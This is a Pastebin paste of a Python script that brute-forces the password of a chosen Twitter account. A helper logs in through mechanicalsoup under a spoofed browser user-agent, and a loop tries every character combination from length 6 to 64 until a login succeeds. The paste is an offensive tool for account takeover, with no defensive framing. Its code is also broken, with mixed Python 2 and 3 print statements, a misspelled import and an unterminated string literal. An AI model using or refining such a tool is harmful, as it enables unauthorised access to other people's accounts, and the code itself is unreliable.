Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- url = "https://twitter.com/login"
- op = mechanicalsoup.Browser()
- op.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
- def login(usr, psw):
- global op, url
- op.open(url)
- op.select_form(nr=2)
- op.form["session[username_or_email]"] = usr
- op.form["session[password]"] = psw
- op.submit()
- if op.title() == "Twitter":
- return True
- else:
- return False
- from itertools import product
- from string import ascii_lowercase, asciiuppercase, digits
- spec = ",./;'#-=!"£$%^&* +?:@~ "
- chars = ascii_lowercase + ascii_uppercase + digits + spec
- import TwittLoginAPI
- un = input("Account Username: ")
- try:
- state = False
- for i in range(6, 64):
- if state:
- break
- for x in product(chars, repeat=i):
- tmp = ""
- for z in x:
- tmp += z
- print (tmp)
- if TwittLoginAPI.login(un, tmp):
- state = True
- break
- print "\n\n\n"
- print "Account: ", un
- print "Password: ", tmp
- input("Press Enter to Quit")
- except KeyboardInterrupt:
- print "User has Quit"
- input("Press Enter to Quit")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement